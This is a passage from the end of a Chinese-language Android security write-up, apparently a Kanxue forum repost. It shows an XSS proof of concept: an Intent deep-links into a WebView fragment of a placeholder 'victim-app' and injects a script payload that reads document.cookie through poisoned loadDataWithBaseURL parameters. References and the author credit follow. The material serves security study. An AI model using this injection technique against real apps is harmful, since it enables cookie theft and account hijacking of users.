"<script>document.write(document.domain)</script>",
null, null, null);
(1)victim-app://c/contact/2?fragmen_class=<fragment>可启动任意fragment,并可 通过Intent Extra传参
(2)寻找到⼀个带WebView的Fragment:GoogleMapWebViewFragment
(3)可污染loadDataWithBaseURL的前两个参数,构造victim.com域下的XSS
webview.loadDataWithBaseURL("victim.com","google-map.html", "text/html", ...);
Intent payload = new Intent(Intent.ACTION_VIEW);
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));
Bundle extra = new Bundle();
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");
extra.putString("map_file_name", "google_map.html");
extra.putString("map_domain", "https://www.victim-app.com");
payload.putExtra("bundle", extra);
startActivity(payload);
五
实验总结
六
参考文献
https://ljd1996.github.io/2020/12/01/Android-WebView%E7%AC%94%E8%AE%B0/
https://blog.csdn.net/carson_ho/article/details/64904691
https://juejin.cn/post/6844903564737789965#heading-9
https://www.cnblogs.com/linhaostudy/p/14617314.html
https://mabin004.github.io/2018/06/11/Android-JsBridge/
看雪ID:随风而行aa
https://bbs.pediy.com/user-home-905443.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!